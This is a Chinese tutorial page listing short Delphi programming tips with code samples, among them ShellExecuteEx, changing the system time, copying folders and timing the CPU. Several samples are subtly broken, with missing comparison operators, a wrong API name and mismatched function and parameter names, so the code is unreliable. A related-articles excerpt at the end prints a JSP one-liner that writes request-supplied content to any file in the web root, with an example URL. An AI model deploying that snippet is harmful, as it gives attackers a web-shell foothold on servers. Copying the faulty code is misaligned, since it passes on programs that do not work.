delphi一句话帮助

2016-02-19 18:24 3 1 收藏

人生本是一个不断学习的过程,在这个过程中,图老师就是你们的好帮手,下面分享的delphi一句话帮助懂设计的网友们快点来了解吧!

【 tulaoshi.com - 编程语言 】

 

  1.       如果想你的程序能够正确处理异常情况的话,请引用SysUtils.pas单元,否则即使程序使用了try。。。except。。。也不能正确捕获异常。

  2.       定义常量字符串的一种方式

  resourcestring

      aa='aaaa';

  raise Exception.CreateRes(@aa);

  3.       字符串常量数组的初始化

  const  constarray:array [0..2] of string=(‘first’,’second’,’third’);

  4.       结构体初始化

  type  Tstructinit=record

     A1:integer;

     A2:array [0..2] of integer;

  End;

  Const m_structinit:Tstructinit=(A1:0;A2:(0,1,2));

  5.       多维数组的长度

  var  array2:array of array of integer;

  setlength(array2,2,2);

  6.       使用Create和New开辟的空间都存在于堆中,不能自动释放,建议使用FreeAndNil释放, 参数以及局部变量存在于栈中,自动释放。

  7.       SizeOf不适合于对象,返回的总是4;对于固定类型可以正确返回.

  8.       Create(nil)需要手工释放,Creat(self)会随着拥有者的释放而释放.

  9.       动态改变已定义常量的值

  procedure ChangeConst(const Const;var Value;Size:Integer);

  begin

    Move((@Value)^,(@Constant)^,Size);

  End;

  10.   进行删除操作的时候循环使用DownTo,会避免错误.

  11.   汉字的Ascii码128,可以用它来判别是否为汉字

  12.   dll编写中,需要使用Sharemem单元来引用BORLANDMM.DLL内存管理.

  13.   PostMessage只将消息放到消息队列中,需要排队等待处理。

  SendMessage绕过消息队列直接发送到窗口过程,等到消息处理返回值才返回.

  14.   鼠标移入移出消息:CM_MOUSEENTER,CM_MOUSELEAVE

  15.   关机消息WM_QUERYENDSESSION

  16.   可以利用ThintWindow和类的方法ActivateHint来创建浮动窗体.

  17.   调出文件属性对话框

  uses ShellAPI;

  function ShowFileProperties(FileName: String; Wnd: HWND):Boolean;

  var

    sfi: TSHELLEXECUTEINFO;

  begin

    with sfi do

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/bianchengyuyan/)

    begin

      cbSize := SizeOf(sfi);

      lpFile := PAnsiChar(FileName);

      Wnd := Wnd;

      fMask := SEE_MASK_NOCLOSEPROCESS or SEE_MASK_INVOKEIDLIST or SEE_MASK_FLAG_NO_UI;

      lpVerb := PAnsiChar('properties');

      lpIDList := nil;

      lpDirectory := nil;

      nShow := 0;

      hInstApp := 0;

      lpParameters := nil;

      dwHotKey := 0;

      hIcon := 0;

      hkeyClass := 0;

      hProcess := 0;

      lpClass := nil;

    end;

    Result := ShellExecuteEX(@sfi);

  end;

   

  procedure TForm1.Button1Click(Sender: TObject);

  begin

     ShowFileProperties('c:AA.txt', Handle);

  end;

  18.   更改系统时间

  uses Windows,Dialogs,Forms;

  var MyTime:TsystemTime;

  begin

    FillChar(MyTime,sizeof(MyTime),#0);

    MyTime.wYear:=2003;

    MyTime.wMonth:=06;

    MyTime.wDay:=01;

    If not SetSystem(MyTime) then

  Showmessage(‘Failure’);

     End;

  19.   复制文件夹Xcopy

  .   procedure Xcopy(SourceDir,DestinationDir:String);

      var

        Search : TSearchRec;

       Rec    : word;

  Begin

       SourceDir := SourceDir + '';

        Rec := FindFirst(SourceDir + '*.*', faAnyFile, Search);

       While Rec = 0 Do

        Begin

          If Search.Name[1] '.' Then

          Begin

            If (Search.Attr And faDirectory) = faDirectory Then

            Begin

              Windows.CreateDirectory(PChar(DestinationDir + '' + Search.Name), nil);

              FileSetAttr(DestinationDir + '' + Search.Name, FileGetAttr(SourceDir + '' + Search.Name));

              X_Copy(SourceDir + '' + Search.Name, DestinationDir + '' + Search.Name);

            end

            Else

            Begin

              CopyFile(PChar(SourceDir + '' + Search.Name),PChar(DestinationDir + '' + Search.Name), True);

              FileSetAttr(DestinationDir + '' + Search.Name, FileGetAttr(SourceDir + '' + Search.Name));

              Application.ProcessMessages;

            end;

          end;

          Rec := FindNext(Search);

        end;

        FindClose(Search);

  end;

  20.   绘制透明位图

     procedure DrawTrans(DestCanvas: TCanvas; X,Y: smallint; SrcBitmap: TBitmap; AColor, BackColor: TColor);

  var  ANDBitmap, ORBitmap: TBitmap;

           CM: TCopyMode;

           Src: TRect;

  begin

        ANDBitmap:= NIL;

        ORBitmap:=  NIL;

        try

          ANDBitmap:= TBitmap.Create;

          ORBitmap:= TBitmap.Create;

          Src  := Bounds(0,0, SrcBitmap.Width, SrcBitmap.Height);

          with ORBitmap do begin

            Width:= SrcBitmap.Width;

            Height:= SrcBitmap.Height;

            Canvas.Brush.Color := clBlack;

            Canvas.CopyMode := cmSrcCopy;

            Canvas.BrushCopy(Src, SrcBitmap, Src, AColor);

          end;

          with ANDBitmap do begin

            Width:= SrcBitmap.Width;

            Height:= SrcBitmap.Height;

           Canvas.Brush.Color := BackColor;

           Canvas.CopyMode := cmSrcInvert;

           Canvas.BrushCopy(Src, SrcBitmap, Src, AColor);

         end;

         with DestCanvas do begin

           CM := CopyMode;

           CopyMode := cmSrcAnd;

           Draw(X,Y, ANDBitmap);

           CopyMode := cmSrcPaint;

(本文来源于图老师网站,更多请访问https://www.tulaoshi.com/bianchengyuyan/)

           Draw(X,Y, ORBitmap);

           CopyMode := CM;

         end;

       finally

         ANDBitmap.Free;

         ORBitmap.Free;

       end;

  end;

   

  procedure TForm1.Button4Click(Sender: TObject);

  begin

      DrawTrans(Image1.Canvas, 0,0, Image2.Picture.Bitmap, clBlack, clSilver);

  end;

  21.   获取CPU速度

    function GetCpuSpeed: Extended;

  var

      t, mhi, mlo, nhi, nlo: dword;

      shr32 : comp;

  begin

      shr32 := 65536;

      shr32 := shr32 * 65536;

      t := GetTickCount;

      while t = GetTickCount do ;

        asm

        DB 0FH,031H // rdtsc

        mov mhi,edx

        mov mlo,eax

      end;

      while GetTickCount (t + 1000) do ;

        asm

        DB 0FH,031H // rdtsc

        mov nhi,edx

        mov nlo,eax

      end;

      Result := ((nhi * shr32 + nlo) - (mhi * shr32 + mlo)) / 1E6;

  end;

   

  procedure TForm1.Button4Click(Sender: TObject);

  begin

      label1.Caption := FloatToStr(GetCpuSpeed) + 'mhz';

  end;

来源:https://www.tulaoshi.com/n/20160219/1617531.html

延伸阅读
夫妻间的生活是多样的,每天的朝夕相处难免的会出现一些矛盾。而这些矛盾也是让我们吵架的根源,那么怎样减少或不吵架呢?怎样吵架才能不伤人呢?怎样让夫妻的吵架停止呢?一起来看看吧。 我们一直视夫妻吵架为理所当然,觉得没什么大惊小怪的,甚至认为那根本无伤夫妻感情。而事实上我们都在不知不觉间陷入“从众”心理的陷...
标签: 春节 情感
马上又到年关,很多网友又要面临“逼婚”的问题。逼婚,把长大后本来就所剩无几的春节乐趣,又打了个七五折。 拒婚攻略:一句话终结春节逼婚 我们把逼婚相关人士分为三种: - 父母; - 七大姑八大姨(媒人); - 相亲对象。 先论动机,再说策略。步步为营,发动一场没有硝烟的逼婚攻防战—&md...
标签: Web开发
下面是我的程序 HTML :  代码如下: !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd" html xmlns="http://www.w3.org/1999/xhtml" head title无标题页/title script type="text/javascript" language="javascript" var xmlhttp; function createXMLH...
标签: Web开发
% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); % 使用方法: 提交url! jsp?f=1.txt" target="_blank"http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld 然后:http://www.whitehouse...
标签: 网络游戏
《斗战神》全副本BOSS打法一句话攻略 【高手进阶篇】《 斗战神 》全副本BOSS一句话攻略,绝对很很有益,大家不妨读一读。 【堕龙坑】 鲶鱼校尉,攻击快,没有明显前奏,吐水柱前周围会有水凝聚。 乌龟督军,会瞬间倒地不停转身,这时候要躲开。弹跳有明显前奏,不停跑就能躲开了。 【五行山顶】 伽蓝 神将 :双...

经验教程

404

收藏

20
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部